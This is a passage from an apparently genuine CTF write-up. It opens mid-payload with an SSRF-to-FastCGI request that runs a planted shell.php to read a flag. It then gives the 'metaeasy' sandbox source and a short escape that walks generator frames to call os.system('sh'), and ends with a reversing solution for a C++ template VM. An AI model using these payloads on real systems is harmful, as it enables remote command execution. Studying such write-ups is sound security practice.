AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/tmp/tmp/pear/download/shell.php/?cmd=cat%20/flag' -v

Flag: BALSN{e4Sy_4pAcHy_5SrF}

Misc

metaeasy

class MasterMetaClass(type):   
    def __new__(cls, class_name, class_parents, class_attr):
        def getFlag(self):
            print('Here you go, my master')
            with open('flag') as f:
                print(f.read())
        class_attr[getFlag.__name__] = getFlag
        attrs = ((name, value) for name, value in class_attr.items() if not name.startswith('__'))
        class_attr = dict(('IWant'+name.upper()+'Plz', value) for name, value in attrs)
        newclass = super().__new__(cls, class_name, class_parents, class_attr)
        return newclass
    def __init__(*argv):
        print('Bad guy! No Flag !!')
        raise 'Illegal'

class BalsnMetaClass(type):
    def getFlag(self):
        print('You\'re not Master! No Flag !!')

    def __new__(cls, class_name, class_parents, class_attr):
        newclass = super().__new__(cls, class_name, class_parents, class_attr)
        setattr(newclass, cls.getFlag.__name__, cls.getFlag)
        return newclass

def secure_vars(s):
    attrs = {name:value for name, value in vars(s).items() if not name.startswith('__')}
    return attrs

safe_dict = {
            'BalsnMetaClass' : BalsnMetaClass,
            'MasterMetaClass' : MasterMetaClass,
            'False' : False,
            'True' : True,
            'abs' : abs,
            'all' : all,
            'any' : any,
            'ascii' : ascii,
            'bin' : bin,
            'bool' : bool,
            'bytearray' : bytearray,
            'bytes' : bytes,
            'chr' : chr,
            'complex' : complex,
            'dict' : dict,
            'dir' : dir,
            'divmod' : divmod,
            'enumerate' : enumerate,
            'filter' : filter,
            'float' : float,
            'format' : format,
            'hash' : hash,
            'help' : help,
            'hex' : hex,
            'id' : id,
            'int' : int,
            'iter' : iter,
            'len' : len,
            'list' : list,
            'map' : map,
            'max' : max,
            'min' : min,
            'next' : next,
            'oct' : oct,
            'ord' : ord,
            'pow' : pow,
            'print' : print,
            'range' : range,
            'reversed' : reversed,
            'round' : round,
            'set' : set,
            'slice' : slice,
            'sorted' : sorted,
            'str' : str,
            'sum' : sum,
            'tuple' : tuple,
            'type' : type,
            'vars' : secure_vars,
            'zip' : zip,
            '__builtins__':None
            }

def createMethod(code):
    if len(code) > 45:
        print('Too long!! Bad Guy!!')
        return
    for x in ' _$#@~':
        code = code.replace(x,'')
    def wrapper(self):
        exec(code, safe_dict, {'self' : self})
    return wrapper

def setName(pattern):
    while True:
        name = input(f'Give me your {pattern} name :')
        if (name.isalpha()):
            break
        else:
            print('Illegal Name...')
    return name

def setAttribute(cls):
    attrName = setName('attribute')
    while True:
        attrValue = input(f'Give me your value:')
        if (attrValue.isalnum()):
            break
        else:    
            print('Illegal value...')
    setattr(cls, attrName, attrValue)

def setMethod(cls):
    methodName = setName('method')
    code = input(f'Give me your function:')       
    func = createMethod(code)
    setattr(cls, methodName, func)

def getAttribute(obj):
    attrs = [attr for attr in dir(obj) if not callable(getattr(obj, attr)) and not attr.startswith("__")]
    x = input('Please enter the attribute\'s name :')
    if x not in attrs:
        print(f'You can\'t access the attribute {x}')
        return
    else:
        try:
            print(f'{x}: {getattr(obj, x)}')
        except:
            print("Something went wrong in your attribute...")
            return
    
def callMethod(cls, obj):
    attrs = [attr for attr in dir(obj) if callable(getattr(obj, attr)) and not attr.startswith("__")]
    x = input('Please enter the method\'s name :')
    if x not in attrs:
        print(f'You can\'t access the method {x}')
        return
    else:
        try:
            print(f'calling method {x}...')
            cls.__dict__[x](obj)
            print('done')
        except:
            print('Something went wrong in your method...')
            return

class Guest(metaclass = BalsnMetaClass):
    pass

if __name__ == '__main__':
    print(f'Welcome!!We have prepared a class named "Guest" for you')
    cnt = 0
    while cnt < 3:
        cnt += 1
        print('1. Add attribute')
        print('2. Add method')
        print('3. Finish')
        x = input("Option ? :")
        if x == "1":
            setAttribute(Guest)
        elif x == "2":
            setMethod(Guest)
        elif x == "3":
            break
        else:
            print("invalid input.")
            cnt -= 1
    print("Well Done! We Create an instance for you !")
    obj = Guest()
    cnt = 0
    while cnt < 3:
        cnt += 1
        print('1. Inspect attribute')
        print('2. Using method')
        print('3. Exit')
        x = input("Option ? :")
        if x == "1":
            getAttribute(obj)
        elif x == "2":
            callMethod(Guest, obj)
        elif x == "3":
            print("Okay...exit...")
            break
        else:
            print("invalid input.")
            cnt -= 1

This challenge has a lot of code. In short, it allows you to define three attributes or methods, then call or view them. The goal is to call the getFlag function.

I didn't use the intended solution, so it was faster, and I got the first blood.

The createMethod part only requires the length to be under 45, and characters _$#@~ are replaced. _ can be bypassed with the full-width character _, and spaces with \t. So, I used a generator to get gi_frame.f_back.f_back.f_builtins, then got a shell.

Solution:

  1. Create method a with self.g=(x.g.gi_frame.f_back for x in [self])
  2. Create method b with self.b=next(self.g).f_back.f_builtins
  3. Create method c with self.b[list(self.b)[6]]('os').system('sh')
  4. Call method a
  5. Call method b
  6. Call method c
  7. cat flag

For the intended solution, see other writeups, such as this one.

Rev

The g++ VM 1

This challenge has an unstripped C++ ELF. Opening it in IDA shows it reads a 36-character flag as a flag checker. The characters are limited to this charset: mgzreab_fw{p}dqlnxstvjyohiuck.

The reversing part was mainly done by 🎃. In short, main reads 6 characters at a time into global variables P, J, K, L, M, N, then calls a table(i / 6) function. table(x) encodes the six characters into a number S, then depending on x (0~5), enters different functions to calculate something using S, and returns the result to main for comparison with some magic numbers.

A major difficulty is that the function names in table are extremely long, indicating excessive use of C++ templates. Opening it in Ghidra causes memory overflow due to demangling. The first function in table that converts characters to S has a name that expands to 10MB with c++filt.

In summary, 🎃 manually reversed the encoding function and table(0). The encoding method can be represented as follows:

def encode(s):
    P, J, K, L, M, N = s
    J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
    P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05

    J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05

    J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05

    J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05

    J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05

    S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    return S

The % operation is C's modulo, so (((J - 0x61) % 0x1A + 0x1A) % 0x1A) in Python is just (J - 0x61) % 0x1A. Also, note that 0x1A ** 2 == 0x2A4, 0x1A ** 3 == 0x44A8, so the encoding method can be represented as:

S=P+Ja+Ka2+La3+Ma4+Na5S=P'+J'a+K'a^2+L'a^3+M'a^4+N'a^5

Where PP' etc. are positive integers less than a=0x1aa=\mathrm{0x1a}, so % 0x1D188D05 has no effect. Converting S to base aa gives the pre-encoded string:

def decode(s):
    ss = list(s.digits(0x1A))
    ss += [0] * (6 - len(ss))
    return bytes(x + 0x61 for x in ss)

table(0) is also complex, but essentially calculates SemodpS^e\bmod{p}, where pp is easy to obtain, but ee needs to be reversed.

Other table(x) functions do similar things, with different pp values, all primes. I found the generators of their multiplicative groups, then used gdb to modify S and observe SemodpS^e\bmod{p} output, calculating dlog to find ee.

Then, using the magic numbers, I calculated the eeth root, similar to single prime RSA.

def encode(s):
    P, J, K, L, M, N = s
    J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
    P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05

    J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05

    J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05

    J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05

    J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05

    S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
    return S


def decode(s):
    ss = list(s.digits(0x1A))
    ss += [0] * (6 - len(ss))
    return bytes(x + 0x61 for x in ss)


cs = [316196015, 183449189, 325026406, 93125040, 247649200, 358564396]
ps = [521206709, 280983943, 481821731, 446513681, 295950349, 519344851]
es = [398527879, 12904111, 229804014, 379903019, 116437633, 461497417]

for p, e, c in zip(ps, es, cs):
    F = GF(p)
    print(decode(ZZ(F(c).nth_root(e))).decode(), end="")

# balsnatheyymagicyycpplusyytemplateyc

Flag: balsn{the__magic__cpplus__template_}